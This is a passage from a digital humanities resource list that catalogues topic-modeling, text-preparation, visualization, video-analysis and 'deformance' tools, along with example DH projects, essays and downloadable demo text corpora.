- [**Stanford Named Entity Recognizer (NER)**]() ("a Java implementation of a Named Entity Recognizer. Named Entity Recognition (NER) labels sequences of words in a text which are the names of things, such as person and company names, or gene and protein names. It comes with well-engineered feature extractors for Named Entity Recognition, and many options for defining feature extractors. Included with the download are good named entity recognizers for English, particularly for the 3 classes (PERSON, ORGANIZATION, LOCATION), and we also make available on this page various other models for different languages and circumstances")
- Michelle Moravec,, ["How to Use Stanford's NER and Extract Results"]() (2014)
- [TET Plugin]() (Plugin for Adobe Acrobat designed to extract text from PDFs)
- [Text Ripper]() ("Rip all non-html (i.e. text) from a specified page"; a Digital Methods Initiative tool)
- [VARD 2]() ("software produced in Java designed to assist users of historical corpora in dealing with spelling variation, particularly in Early Modern English texts. The tool is intended to be a pre-processor to other corpus linguistic tools such as keyword analysis, collocations," etc.)
- [**Text Preparation "Recipes" for Topic Modeling Work:**]()
- Matthew Jockers
- ["'Secret' Recipe for Topic Modeling Themes"]() (guidance on creating stop lists, using parts-of-speech taggers to filter text, and "chunking" texts into suitable-length sections to optimize topic-modeling results)
- ["Expanded Stopwords List"]() ("Below is the list of stop words I used in topic modeling a corpus of 3,346 works of 19th-century British, American, and Irish fiction. The list includes the usual high frequency words (“the,” “of,” “an,” etc) but also several thousand personal names.")
- Andrew Goldstone & Ted Underwood, ["Code Used ... in Analyzing Topic Models of Literary-studies Journals"]() (GitHub repository of stoplist, code, and resources for Goldstone and Underwood's topic modeling project)
## Topic Modeling Tools (complemented by [Text Preparation "Recipes" for Topic Modeling Work]() above) (see [Topic Modeling Tutorials]())
- [DFR-Browser]() (browser-based visualization interface created by Andrew Goldstone for exploring JSTOR articles [facilitated by the JSTOR ["Data for Research" (DFR)]() site through topic-modeling)
- [FACTORIE]() ("toolkit for deployable probabilistic modeling, implemented as a software library in Scala. It provides its users with a succinct language for creating factor graphs, estimating parameters and performing inference")
- [Examples and instructions]() for using FACTORIE for Topic Modeling, Document Classification, and Natural Language Processing.
- [Gensim]() ("free Python library: scalable statistical semantics, analyze plain-text documents for semantic structure, retrieve semantically similar documents")
- [Glimmer.rstudio.com Topic Modeling (LDA) visualization tool]() (allows users to upload their own data to generate scatterplots and bar charts)
- [**In-Browser Topic Modeling**]() ("Many people have found topic modeling a useful (and fun!) way to explore large text collections. Unfortunately, running your own models usually requires installing statistical tools like R or Mallet. The goals of this project are to (a) make running topic models easy for anyone with a modern web browser, (b) explore the limits of statistical computing in Javascript and (c) allow tighter integration between models and web-based visualizations"; by David Mimno.) Note: the files for this tool can be downloaded and run locally; download from GitHub [here.]()
- [LDAvis]() ("R package for interactive topic model visualization") ([example of use]())
- **MALLET**
- [Mallet]() (MAchine Learning for LanguagE Toolkit)
- [GRMM]() (GRaphical Models in Mallet)
- Programming Historian [tutorial]() for installing and starting with MALLET
- Latest version of Mallet in [David Mimno's Github respository]()
- [MALLET-to-Gephi Data Stacker]() (online tool that takes "the '--output-doc-topics' output from MALLET and reorganize it into a format that Gephi understands")
- [The Networked Corpus]() ("a [Python script]() that generates a collection of Web pages like the ones we have created for <em>The Spectator</em>.... designed to work with MALLET." The Networked Corpus project "provides a new way to navigate large collections of texts. Using a statistical method called topic modeling, it creates links between passages that share common vocabularies, while also showing in detail the way in which the topic modeling program has “read” the texts. ")
- [Stanford Topic Modeling Toolbox]() ("brings topic modeling tools to social scientists and others who wish to perform analysis on datasets that have a substantial textual component. The toolbox features that ability to: _ Import and manipulate text from cells in Excel and other spreadsheets; _ Train topic models (LDA, Labeled LDA, and PLDA new) to create summaries of the text; _ Select parameters (such as the number of topics) via a data-driven process; _ Generate rich Excel-compatible outputs for tracking word usage across topics, time, and other groupings of data")
- [TMVE]() ("basic implementation of a topic model visualization engine")
- [**Topic Modeling Tool**]() (Java-based "graphical user interface tool for Latent Dirichlet Allocation topic modeling" by David Newman; comes with test input files [look in "Downloads" tab on site]. Input files should be in .txt files saved in same directory; the input files are formatted with returns between each separate document) (Note: this latest implementation of the Topic Modeling Tool is by Scott Enderle).
- See also Miriam Posner, ["Very basic strategies for interpreting results from the Topic Modeling Tool"]()
- ["Two Topic Browsers"]() by Jonathan Goodwin
## Video Tools
- ["A Short List of Video Editing Applications"]() (JISC Guides)
## Video & Film Analysis Tools
- [Cinemetrics]() (Frederic Brodbeck's project for "measuring and visualizing movie data, in order to reveal the characteristics of films and to create a visual 'fingerprint' for them. Information such as the editing structure, color, speech or motion are extracted, analyzed and transformed into graphic representations so that movies can be seen as a whole and easily interpreted or compared side by side"; includes downloadable code for Python script tools used to create the metrics)
- [ClipNotes]() ("designed for use with any film or video in which you want to quickly and easily retrieve selected segments and display them along with your notes or annotations.... you must first prepare an XML file which contains the starting and stopping times of the segments you wish to access, together with a caption to appear on a list, and any description or annotation you want to display along with the clip. Preparing an XML file is a remarkably easy procedure"; currently available as app for iOS and Windows 8.1, with Android app coming)
- [Film Impact Rating tool]() (provides a ranking of a film's impact based on a number of factors, including numbers of screenings, venues, receipts, review ratings, awards, etc. While designed for Australian film, the tool can be used for other films.)
- [Kinomatics Project]() ("collects, explores, analyses and represents data about the creative industries.... Current focus is on the spatial and temporal dimensions of international film flow and the location of Australian live music gigs"; also includes visualizations and tools for film impact rating)
- **YouTube Tools**
- [YouTube Data Tools]() ("collection of simple tools for extracting data from the YouTube platform via the YouTube API v3. For some context and a small introduction, please check out this blog [post](). . . there is a [FAQ]() section with additional information, and an [introductory video"]())
Thomas Padilla, ["YouTube Data for Research"]() (includes tutorial, suggested command-line tools, and use case)
## Visualization Tools (see [Visualization Tutorials]())
- **General or Multiple Purpose Viz Tools:**
- [Better World Flux]() ("beautiful interactive visualization of information on what really matters in life. Indicators like happiness, life expectancy, and years of schooling are meaningfully displayed in a colourful flowing Flux.... visually communicates the world state in terms of standards of living and quality of life for many countries and how this has changed, and mostly improved, over a period of up to 50 years. This site is a tool for building a consensus, telling a story and sharing it, all whilst raising awareness for the UN Millennium Development Goals.")
- [Bonsai]() (tool for programmatic creation of simple animated graphics in a Web browser using "graphics library which includes an intuitive graphics API and an SVG renderer")
- [Chart and Image Gallery: 30+ Free Tools for Data Visualization and Analysis]() (gathering of tools by Sharon Machlis)
- [Circos]() ("software package for visualizing data and information ... in a circular layout ... ideal for exploring relationships between objects or positions")
- [**D3.js**]() ("a JavaScript library for manipulating documents based on data. D3 helps you bring data to life using HTML, SVG and CSS")
- (see [D3.js Tutorials]())
- [GapMinder World]() (online or desktop data/statistics animation)
- [**Gephi**]() ("interactive visualization and exploration platform for all kinds of networks and complex systems, dynamic and hierarchical graphs")
- (see [Gephi Tutorials]())
- [Google Fusion Tables]() (Google's "experimental data visualization web application to gather, visualize, and share larger data tables. Visualize bigger table data online; Filter and summarize across hundreds of thousands of rows. Then try a chart, map, network graph, or custom layout and embed or share it")
- [ImageJ]() (image processing program that can create composite or average images)
- (see [ImageJ Tutorials]())
- [ImagePlot]() ("free software tool that visualizes collections of images and video of any size.... implemented as a macro which works with the open source image processing program ImageJ")
- [OpenHeatMap]() (creates "heat map" visualizations from spreadsheets)
- [Palladio]() (data visualization tool designed for humanities work; "web-based app that allows you to upload, visualize, and filter your data on-the-fly")
- (see [Palladio Tutorials]())
- [**Pixlr Editor**]() (highly-capable, free, Photoshop-like photoeditor program that runs entirely in Flash in a browser; allows users to import images from local on online sources, edit, resize, crop, adjust image features, apply filters, etc.; Pixlr also has versions for mobile devices)
- [**Processing**]() ("Processing is a simple programming environment that was created to make it easier to develop visually oriented applications with an emphasis on animation and providing users with instant feedback through interaction. The developers wanted a means to “sketch” ideas in code. As its capabilities have expanded over the past decade, Processing has come to be used for more advanced production-level work in addition to its sketching role. Originally built as a domain-specific extension to Java targeted towards artists and designers, Processing has evolved into a full-blown design and prototyping tool used for large-scale installation work, motion graphics, and complex data visualization")
- [Prospect]() ("a sophisticated web-app implemented as a plugin for WordPress that enables users to collect and curate data and then enable the wider public to visualize and access that data. The graphical representation of data – whether it be geographical information shown on maps, temporal data shown on timelines, interpersonal relationships shown as connected graphs, etc. – can facilitate end-users in comprehending it quickly and analyzing it in domain-specific ways") (more detailed "About" page)
- ["**R**"]() ( R Project for Statistical Computing) ("language and environment for statistical computing and graphics.... provides a wide variety of statistical (linear and nonlinear modelling, classical statistical tests, time-series analysis, classification, clustering, ... and graphical techniques, and is highly extensible")
- (see ["R" Tutorials]())
- [**RAW**]() (open web app that allows users to use a simple interface to upload data from a spreadsheet, choose and configure a vector graphics visualization, and export the results; built on top of the D3.js library)
- [Silk]() (online data visualization and exhibition platform; takes datasets input as spreadsheets and allows users to create collections, maps, graphs, etc.)
- For a helpful quick-start guide (with sample dataset), see Miriam Posner, ["Getting Started with Silk"]() (2016)
- [**Tableau Public**]() ("within minutes, our free data visualization tool can help you create an interactive viz and embed it in your website or share it")
- [Tableau Desktop]() (paid desktop version) | [1-year free license for students and instructors]()
- [Viewshare]() ("free platform for generating and customizing views (interactive maps, timelines, facets, tag clouds) that allow users to experience your digital collections")
- [Visualize Free]() (online visualization platform that allows uploading of datasets for multiple styles of graph-style visualization; "free visual analysis tool based on the advanced commercial dashboard and visualization software developed by InetSoft")
- [VisualSense]() ("interactive visualization and analysis tool ... developed for textual and numerical data extracted from image analysis of images from different cultures and influences")
- [WiGis]() ("visualization of large-scale, highly interactive graphs in a user's web browser. Our software is delivered natively in your web browser and does not require any plug-ins or add-ons. Our method produces clean, smooth animation in a browser through asynchronous data transfer (AJAX), and access to rich server side resources without the need for technologies such as Flash, Java Applets, Flex or Silverlight. We believe that our new techniques have broad reaching potential across the web")
- [**yEd**]() ("downloadable and online diagramming tools. Functions include the automatic layout of networks and diagrams: "the yFiles library offers the user many advantages, one of which is its ability to automatically draw networks and diagrams. yFiles layout algorithms enable the clear presentation of flow charts, UML diagrams, organization charts, genealogies, business process diagrams, etc.")
- **Diagramming & Graphing Tools:**
- [aiSee Graph Visualization]() ("graphing program for Windows, Mac OS X, and Linux")
- [Gliffy]() (online diagramming and flow-charting
- [inzight]() (downloadable tool for Windows, Mac, Linus; "intelligently draws the appropriate graph depending on the variables you choose"; " automatically detects the variable type as either numeric or categorical, and draws a dot plot, scatter plot, or bar chart.")
- [yEd]() ("downloadable and online diagramming tools. Functions include the automatic layout of networks and diagrams: "the yFiles library offers the user many advantages, one of which is its ability to automatically draw networks and diagrams. yFiles layout algorithms enable the clear presentation of flow charts, UML diagrams, organization charts, genealogies, business process diagrams, etc.")
- **Image Tools:**
- [123D Catch]() (Autodesk's free phone app for creating 3D scans from photos taken of objects. 3D scans are created by taking many photos of an object from multiple sides and angles, then uploading to Autodesk for processing. Download the as phone app for Android, iOS; complemented by additional online and Windows software for editing and for 3D printing)
- [GIMP]() (powerful, free software for photo and image editing; runs on Macs, Windows, Linux, and other platforms)
- [Pixlr]() (Autodesk's online or offline image and photo editiing tool; Photoshop-like)
- **Infographics Tools:**
- [Dorling Map Generator]() (creates Dorling maps--i.e., bubble maps of terms and values; requires user to auto-request an IssueCrawler login)
- [Infogr.am]()
- [Piktochart]()
- [PinWords]() ("instantly add beautiful text to your images")
- [ReciteThis]() (make infographics from quotes)
- [Sprites]() (tool for building animated infographics with HTML5 elements; freemium pricing)
- [Venngage]()
- **Network Visualization Tools** (see also [General or Multiple Purpose Viz Tools]() and [Network Analysis/Social Network Analysis]()) (see [Network Visualization Tutorials]())
- [**D3.js**]() ("a JavaScript library for manipulating documents based on data. D3 helps you bring data to life using HTML, SVG and CSS")
- [**Gephi**]() ("interactive visualization and exploration platform for all kinds of networks and complex systems, dynamic and hierarchical graphs")
- (see [Gephi Tutorials]())
- [MALLET-to-Gephi Data Stacker]() (online tool that takes "the '--output-doc-topics' output from MALLET and reorganize it into a format that Gephi understands")
- [NodeTrix]() ("a node-link diagram hybrid visualization with adjacency matrix"; see [theory and research]() behind NodeTrix)
- [NodeXL]() ("free, open-source template for Microsoft® Excel® 2007, 2010 and (possibly) 2013 that makes it easy to explore network graphs. With NodeXL, you can enter a network edge list in a worksheet, click a button and see your graph, all in the familiar environment of the Excel window")
- [Textexture]() (online tool that allows users to "visualize any text as a network. The resulting graph can be used to get a quick visual summary of the text, read the most relevant excerpts (by clicking on the nodes), and find similar texts")
- [VOSviewer]() (Java-based software designed to "create maps based on network data," especially bibliometric networks, e.g., network maps of "publications, authors, or journals based on a co-citation network or to create maps of keywords based on a co-occurrence network")
- [**yEd**]() ("downloadable and online diagramming tools. Functions include the automatic layout of networks and diagrams: "the yFiles library offers the user many advantages, one of which is its ability to automatically draw networks and diagrams. yFiles layout algorithms enable the clear presentation of flow charts, UML diagrams, organization charts, genealogies, business process diagrams, etc.")
- **Text Visualization Tools (specialized text visualization tools, including word clouds, text difference, text variation)** (see also [Text Analysis Tools]() above)
- [_History Flow Visualization_]() (tool for visualizing the evolution of documents created by multiple authors) (download site for tool)
- [Textexture]() (online tool that allows users to "visualize any text as a network. The resulting graph can be used to get a quick visual summary of the text, read the most relevant excerpts (by clicking on the nodes), and find similar texts")
- **Word Cloud Tools (& Related Tools for Visualizing Terms Sized by Value)**
- [Bubble Lines]() (create proportionately sized circles in SVG format by manually entering terms and values, e.g., Wordsworth (16) Keats (4) Byron (68); allows for manual input of terms and values; a Digital Methods Initiative tool)
- [Deduplicate]() ("Insert a tag cloud, e.g. war (5) peace (6) and the tool will write ouput 'war' five times and 'peace' six times-- Can be used to input preformatted tag clouds into services like wordle"; allows for manual input of terms and values; a Digital Methods Initiative tool)
- [Tag Cloud Generator]() ("Input tags and values to produce a tag cloud. Output is in SVG."; allows for manual input of terms and values; a Digital Methods Initiative tool)
- [Tagxedo]() (word cloud from multiple sources)
- [Wordle]() ("toy for generating 'word clouds' from text that you provide")
- [Word Tree]() (tool for online, interactive word trees for texts submitted by users)
- **Time Line Tools:**
- [ChronoZoom]() (open-source project that allows users to create zoomable, Prezi-like timeline-history exhibitions "of everything," on various scales of time-space)
- [About]()
- [Guide to creating ChonoZoom timelines]()
- [Histropedia]() ("Discover a new way to visualise Wikipedia. Choose from over 1.5 million events to create and share timelines in minutes")
- [Simile Widgets]() (embeddable code for visualizing time-based data, including Timeline, Timeplot, Runway, and Exhibition)
- [Tiki-Toki]() (web-based platform for creating timelines with multimedia; capable of "3D" timelines)
- [Timeline Builder]() (online tool for building interactive Flash-based timelines from the Roy Rosenzweig Center for History and New Media)
- [**Timeline JS**]() (the Knight Lab's "open-source tool that enables anyone to build visually rich, interactive timelines. Beginners can create a timeline using nothing more than a Google spreadsheet.... Experts can use their JSON skills to create custom installations, while keeping TimelineJS's core functionality")
- [Timemap]() ("Javascript library to help use online maps, including Google, OpenLayers, and Bing, with a SIMILE timeline. The library allows you to load one or more datasets in JSON, KML, or GeoRSS onto both a map and a timeline simultaneously")
- **Twitter Visualization Tools:**
- [TAGSExplorer]() (step-by-step instructions with tools for archiving Twitter event hashtags and creating interactive visualizations of the conversations)
- [TweetBeam]() (creates "Twitter Wall" to "visualize the conversation around your event")
- [TweetsMap]() (analyzes and maps geographical location of one's Twitter followers)
- [Visible Tweets]() ("Visible Tweets is a visualisation of Twitter messages designed for display in public space")
## "Deformance" Tools:
(While many tools can be used against-the-grain to "deform" materials for play or discovery, the following are tools expressly designed for this purpose. On "deformance" in the digital humanities, see for example Mark Sample, ["Notes Towards a Deformed Humanities"]())
- [The Eater of Meaning]() ("tool for extracting the message from the medium. Format and presentation are unaffected, but words and letters are subjected to an elaborate nonsensification progress that eliminates semantics root and branch")
- [GIFMelter]() (creates dynamic, flowing distortions of online images)
- [Glitch Images]() (interactive interface with sliders to "glitch" imported .jpg images)
- Image Distortion Tools
- [Distort Images]() (online tool that places grid over an image; dragging grid points distorts the image)
- [IMGonline.com.ua]() (online image distortion tool)
- [Photo-kako.com]() (online tool for applying effects, filters, and distortion effects to images)
- [Ivanhoe Game -- WordPress Theme version | more info about this version]() (requires Wordpress site installed on a local or institutional server) ("This tool is a vibrant reimagining of a game originally developed in the U. Virginia SpecLab. . . . The Ivanhoe Game can be played on any type of cultural object or topic. In Ivanhoe, players assume roles and generate criticism by pretending to be characters or voices relevant to their topic and making moves from those perspectives")
- [N + 7 Machine]() (English version only; "The N+7 procedure, invented by Jean Lescure of Oulipo, involves replacing each noun in a text with the seventh one following it in a dictionary")
- [Synonym Machine]() (set of Python scripts that download "famous works of literature and replaces specified parts of speech with random synonyms. The script is currently configured to do this with Moby Dick, in reaction to Robin Sloan's fascinating question: if you replaced every adjective with a close synonym, would it be fair to call this new text by the same title?")
# Digital Humanities Examples
(Selected projects and writings chosen to provide beginners in DH with a blend of "best" and "doable" (also: technically advanced and less-advanced) aim points for their own work. The selection is biased toward the work of individuals or small teams, though some more extensive projects are included. Note: this selection is eclectic. It is not intended to be a comprehensive or proportionally accurate sample of DH across the disciplines.
## Projects
### King's College, London, Dept. of Digital Humanities
[Census of digital humanities projects counted by historical period of the corpus of materials on which project is based (2014)](https://docs.google.com/spreadsheets/d/1Obzf_n7vkB-WwVXMH1XzouTSGwX89Glq2_WbhECDUQs/pubhtml)
### Binder, Jeff, and Collin Jennings
[The Networked Corpus](http://www.networkedcorpus.com/) ("provides a new way to navigate large collections of texts. Using a statistical method called topic modeling, it creates links between passages that share common vocabularies, while also showing in detail the way in which the topic modeling program has “read” the texts. We are using the Networked Corpus to analyze earlier genres and concepts of topical knowledge from the development of commonplacing, anthologizing, and indexing in the early modern period through the nineteenth century"; provides Python script for others to use)
### Brown, Vincent
[Slave Revolt in Jamaica, 1760-1761](http://revolt.axismaps.com/index.php) ("animated thematic map narrates the spatial history of the greatest slave insurrection in the eighteenth century British Empire")(2013)
### Christie, Alex, et al.
[Humanities on the Z-axis](http://dharchive.org/paper/DH2014/Paper-724.xml) (from abstract of paper about the project: "Through a combination of techniques in three-dimensional (3D) fabrication, geospatial mapping, speculative computing, and pattern analysis, z-axis research expresses the geospatial narratives of modernist novels by geo-referencing them and then using that geo-data to transform base layers of maps from the modernist period. The output of the research includes warped, 3D maps of cities (e.g., Paris and Dublin) central to modernist literary production. These maps can be viewed as 3D models on a screen or as physical prototypes in hand, and they are currently being transformed using geo-data drawn from novels by Djuna Barnes, James Joyce, and Jean Rhys. Ultimately, they show how modernist authors wrote the city, and findings suggest they contradict existing research in modernist studies about how, exactly, cities are expressed in modernist novels.") See full paper (with illustrations of the project) by Alex Christie, et al. ["Modeling How Modernists Wrote the City"](http://maker.uvic.ca/dh14/) (2014).
### Des Jardin, Molly
["Geoparsing 19th-Century Travel Narratives"](http://www.mollydesjardin.com/projects/geoparser.html) ("This project attempts to divide text narratives by location, and to find representative or key phrases within them. The corpus consists of 19th-century British travel narratives. The methodology uses a number of heuristics, most based on syntax, to identify when the narrator has arrived or is departing a location, and to identify that location. A simple methodology uses frequent nouns and sentences which contain both a frequent noun and an adjective to choose representative phrases, here used as a kind of sentiment analysis.")
### Dorsey, Olivia
[Franklin Memories: Preservation for a Lifetime](http://franklinmemories.com/) (Omeka project built by an undergraduate to showcase the history of a small town in Macon County of North Carolina; "a website that takes the scanned photographs from the photo collections of many families in Franklin, NC. Feel free to click on the images above to start exploring exhibits that include the amazing photographs that I discovered this summer. The photos are organized first by collections, then by exhibits. The collections consist of every family who is included in the overall digital collection. The exhibits include time periods and other aspects of Franklin’s history that should be emphasized.")
### Egan, Jim, and Jean Bauer
[Mapping Colonial Americas Publishing Project](http://www.stg.brown.edu/projects/mapping-genres/)
### Emory U. Libraries Digital Scholarship Commons
["Lincoln Logarithms: Finding Meaning in the Sermons"](http://disc.library.emory.edu/lincoln/) ("We explored the power and possibility of four digital tools—MALLET, Voyant, Paper Machines, and Viewshare")
### Fraas, Mitch
["Expanding the Republic of Letters: India and the Circulation of Ideas in the Late Eighteenth Century"](http://mappingbooks.blogspot.com.au/2013/07/expanding-republic-of-letters-india-and.html)(2013)
### Ganahl, Simon, et al.
[Campus Medius](http://campusmedius.net/actors?min=0&max=24) (see ["About"](http://campusmedius.net/about) essay: mapping project that "explores mediality as an experiential field by focusing on twenty-four hours in a metropolis. Following Mikhail Bakhtin, one might describe 'the day in the city' as a chronotope of the modernist novel—from Andrei Bely's Petersburg via James Joyce's Ulysses to Virginia Woolf's Mrs Dalloway. Our exemplary time-space on the weekend of May 13 and 14, 1933, in Vienna is marked by so-called Turks Deliverance Celebrations held by the paramilitary Home Guard and the Austrian National Socialists")
### Goodwin, Jonathan
["Topics in Theory"](http://www.jgoodwin.net/?p=1068)(2012)
### Healy, Kieran
["A Co-Citation Network for Philosophy"](http://kieranhealy.org/blog/archives/2013/06/18/a-co-citation-network-for-philosophy/) (2013) ("I took twenty years worth of articles from four major philosophy journals and generated a network from it based on the citations contained in those articles")
### Kaufman, Micki
["Everything on Paper Will Be Used Against Me:" Quantifying Kissinger](http://blog.quantifyingkissinger.com/) ("text analysis, visualization and historical interpretation of the DNSA Kissinger correspondence") (2014)
### Kinomatics Team
[Kinomatics: The Industrial Geometry of Culture](http://kinomatics.com/) ("collects, explores, analyses and represents data about the creative industries. Our research is collaborative and interdisciplinary. Our current focus is on the spatial and temporal dimensions of international film flow and the location of Australian live music gigs"; see also Deb Verhoeven, "Big Data at the Movies: The Kinomatics Project")
### Moa, Belaid, and Jana Millar Usiskin
[Making Models of Modernism](http://maker.uvic.ca/mmm/) (2014) (topic modeling Modernist literary works)
### Mullen, Lincoln
[Mapping the Spread of American Slavery](<http://lincolnmullen.com/blog/the-spread-of-american-slavery/(2014)>)
### Pierazzo, Elena, and Julie André
["Around a Sequence and Some Notes of Notebook 46: Encoding Issues About Proust's Drafts"](http://research.cch.kcl.ac.uk/proust_prototype/)
### Shayne, Liz
["Sefaria in Gephi: Seeing Links in Jewish Literature"](http://ludicanalytics.wordpress.com/2014/06/17/sefaria_in_gephi/) (2014)
### Wilhelm, Thomas, Manuel Burghardt, and Christian Wolff
[To See or Not to See: An Interactive Tool for the Visualization and Analysis of Shakespeare's Plays](http://www.thomaswilhelm.eu/shakespeare/output/hamlet.html) (2013)
## Essays and Books
### Cordell, Ryan
["'Taken Possession of': The Reprinting and Reauthorship of Hawthorne's 'Celestial Railroad' in the Antebellum Religious Press"](http://www.digitalhumanities.org/dhq/vol/7/1/000144/000144.html) (2013)
### Heuser, Ryan and and Long Le-Khac
["A Quantitative Literary History of 2,958 Nineteenth-Century British Novels: The Semantic Cohort Method" [PDF]](http://litlab.stanford.edu/LiteraryLabPamphlet4.pdf)(2012)
### Ted Underwood, Hoyt Long, and Richard Jean So
["Cents and Sensibility: Trust Thomas Piketty On economic Inequality, Ignore What He says About Literature"](http://www.slate.com/articles/business/moneybox/2014/12/thomas_piketty_on_literature_balzac_austen_fitzgerald_show_arc_of_money.html) (2014)
### Fagg, John, Matthew Pethers, and Robin Vandome
["Introduction: Networks and the Nineteenth-Century Periodical"](http://muse.jhu.edu/login?auth=0&type=summary&url=/journals/american_periodicals/v023/23.2.fagg.html) [PDF] (2013) [paywalled]
### Ross, Stephen, and Jentery Sayers
["Modernism Meets Digital Humanities"](http://onlinelibrary.wiley.com/doi/10.1111/lic3.12174/abstract) (2014) [paywalled]
### Moretti, Franco
["Network Theory, Plot Analysis" [PDF]](http://litlab.stanford.edu/LiteraryLabPamphlet2.pdf) (2012)
### Finn, Ed
["Revenge of the Nerd: Junot Díaz and the Networks of American Literary Imagination"](http://www.digitalhumanities.org/dhq/vol/7/1/000148/000148.html) (2013) ("My methodology in pursuing these claims is to define a framework for "the literary" in contemporary American fiction by asking how books are contextualized and discussed not just among critics and scholars but also among a general readership online. Digital traces of book culture (by which I mean user reviews, ratings and the algorithmic trails that our browsing and purchasing actions leave online) allow us to make claims about relatively large groups of readers and consumers of books, creating opportunities for the ‘distant reading’ of literary fame, but without losing the specificity of individual texts and authors.") |
| Klingensteina, Sasa, Tim Hitchcock, and Simon DeDeo | ["The Civilizing Process in London’s Old Bailey"](http://www.pnas.org/content/111/26/9419.full.pdf+html) [PDF] (2014)
### Underwood, Ted, and Jordan Sellers
["The Emergence of Literary Diction"](http://journalofdigitalhumanities.org/1-2/the-emergence-of-literary-diction-by-ted-underwood-and-jordan-sellers/) (2012)
### Klein, Lauren F.
["The Image of Absence: Archival Silence, Data Visualization, and James Hemings"](http://americanliterature.dukejournals.org/content/85/4/661.abstract) (2013) [paywalled]
### Rhody, Lisa M.
["Topic Modeling and Figurative Language"](http://journalofdigitalhumanities.org/2-1/topic-modeling-and-figurative-language-by-lisa-m-rhody/) (2012)
### Rettberg, Jill Walker
["Visualising Networks of Electronic Literature: Dissertations and the Creative Works They Cite"](http://electronicbookreview.com/thread/electropoetics/analyzing) (2014) <br> ° Accompanied by Gephi dataset ("This is the 'clean,' unedited Gephi file I used to visualise the connections between 44 dissertations about electronic literature and the creative works they cite. This file is perfect if you want to download it, load it into Gephi and try visualising the data yourself. I provide a tutorial here: http://jilltxt.net/?p=3730")
### Underwood, Ted, and Andrew Goldstone
["What Can Topic Models of PMLA Teach Us About the History of Literary Scholarship?"](http://journalofdigitalhumanities.org/2-1/what-can-topic-models-of-pmla-teach-us-by-ted-underwood-and-andrew-goldstone/) (2013)
### Jockers, Matthew L.
Macroanalysis: Digital Methods and Literary History (Champaign, IL: University of Illinois Press: 2013) Print.
# Data Collections and Datasets
### Starter Kit:
● [Demo Corpora](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244469/Data%20Collections%20and%20Datasets#demo-corpora) (Small to moderate-sized text collections for teaching, text-analysis workshops, etc.)<br>
● [Quick Start](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244469/Data%20Collections%20and%20Datasets#quick-start) (Common text analysis tools & resources to get instructors and students started quickly)
## Demo Corpora (Text Collections Ready for Use)
Demo corpora are sample or toy collections of texts that are ready-to-go for demonstration purposes or hands-on tutorials--e.g., for teaching text analysis, topic modeling, etc. Ideal collections for this purpose are public domain or open access, plain-text, relatively modest in number of files, organized neatly in a folder(s), and downloadable as a zip file. (Contributions welcome: if you have demo collections you have created, please email ayliu@english.ucsb.edu.)<br>
(Note: see separate section in the DH Toychest for linguistic corpora--i.e., corpora usually of various representative texts or excerpts designed for such purposes as corpus linguistics.)
## Plain-text collections downloadable as zip files:
- ### General Collections
- [Eighteenth Century Collections Online texts](https://github.com/Early-Modern-OCR/TCP-ECCO-texts) (2,198 plain-text English documents from Eighteenth Century Collections Online [TCP-ECCO](https://github.com/Early-Modern-OCR/TCP-ECCO-texts/archive/master.zip)) (zip file)
- ### Historical Materials
- U.S. Presidents
- U.S. Presidents' Inaugural Speeches (all 57 inaugural speeches from Washington through Obama collected from the [American Presidency Project](http://www.presidency.ucsb.edu/) with the assistance of project co-director John T. Woolley; assembled as individual plain-text files by Alan Liu) ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/presidents/inaugural_speeches.zip))
- Abraham Lincoln
- Lincoln Speeches & Letters (84 works and excerpts from Project Gutenberg's version of Speeches and Letters of Abraham Lincoln, 1832-1865, ed. Merwin Roe, 1907; assembled by Alan Liu as separate files for each work) ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/lincoln/lincoln-speeches-and-writings.zip)) ([metadata](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/lincoln/_metadata.txt))
- DocSouth Data (selected collections from the [Documenting The American South](http://docsouth.unc.edu/) initiative at the University of North Carolina, Chapel Hill. Contains collections that have been packaged for text analysis. Each is a zip file in which a folder named "data" includes a "toc.csv" file of metadata and subfolders for both plain text and xml versions of the documents in the collection) (See [additional literary materials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244469/Data%20Collections%20and%20Datasets#docsouth-literature) in DocSouth Data)
- [The Church in the Southern Black Community](http://docsouth.unc.edu/full-text/church-southern-black-community.zip)
- [First-Person Narratives of the American South](http://docsouth.unc.edu/full-text/first-person-narratives-american-south.zip) ("a collection of diaries, autobiographies, memoirs, travel accounts, and ex-slave narratives written by Southerners. The majority of materials in this collection are written by those Southerners whose voices were less prominent in their time, including African Americans, women, enlisted men, laborers, and Native Americans")
- [North American Slave Narratives](http://docsouth.unc.edu/full-text/na-slave-narratives.zip) ("The North American Slave Narratives collection at the University of North Carolina contains 344 items and is the most extensive collection of such documents in the world")
- Michigan State University Libraries Text Collections
- [Sunday School Books in Nineteenth Century America Dataset](http://www.lib.msu.edu/ssbdata/) (166 texts) ([zip file](http://archive.lib.msu.edu/dinfo/sundayschoolbooks/))
- [The Grange Visitor Dataset](http://www.lib.msu.edu/grangedata/) (429 issues of the official newspaper of the Michigan State Grange, 1875-1896) ([zip file](http://archive.lib.msu.edu/dinfo/grange_visitor/))
- [Feeding America: The Historic American Cookbook Dataset](http://www.lib.msu.edu/feedingamericadata/) (76 texts) ([zip file](http://archive.lib.msu.edu/dinfo/feedingamerica/))
- ### Literature
- DocSouth Data (selected collections from the [Documenting The American South](http://docsouth.unc.edu/) initiative at the University of North Carolina, Chapel Hill. Contains collections that have been packaged for text analysis. Each is a zip file in which a folder named "data" includes a "toc.csv" file of metadata and subfolders for both plain text and xml versions of the documents in the collection) (see [additional historical materials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244469/Data%20Collections%20and%20Datasets#docsouth-history) in DocSouth Data)
- [First-Person Narratives of the American South](http://docsouth.unc.edu/full-text/first-person-narratives-american-south.zip) ("a collection of diaries, autobiographies, memoirs, travel accounts, and ex-slave narratives written by Southerners. The majority of materials in this collection are written by those Southerners whose voices were less prominent in their time, including African Americans, women, enlisted men, laborers, and Native Americans")
- [Library of Southern Literature](http://docsouth.unc.edu/full-text/library-southern-literature.zip)
- [North American Slave Narratives](http://docsouth.unc.edu/full-text/na-slave-narratives.zip) ("The North American Slave Narratives collection at the University of North Carolina contains 344 items and is the most extensive collection of such documents in the world")
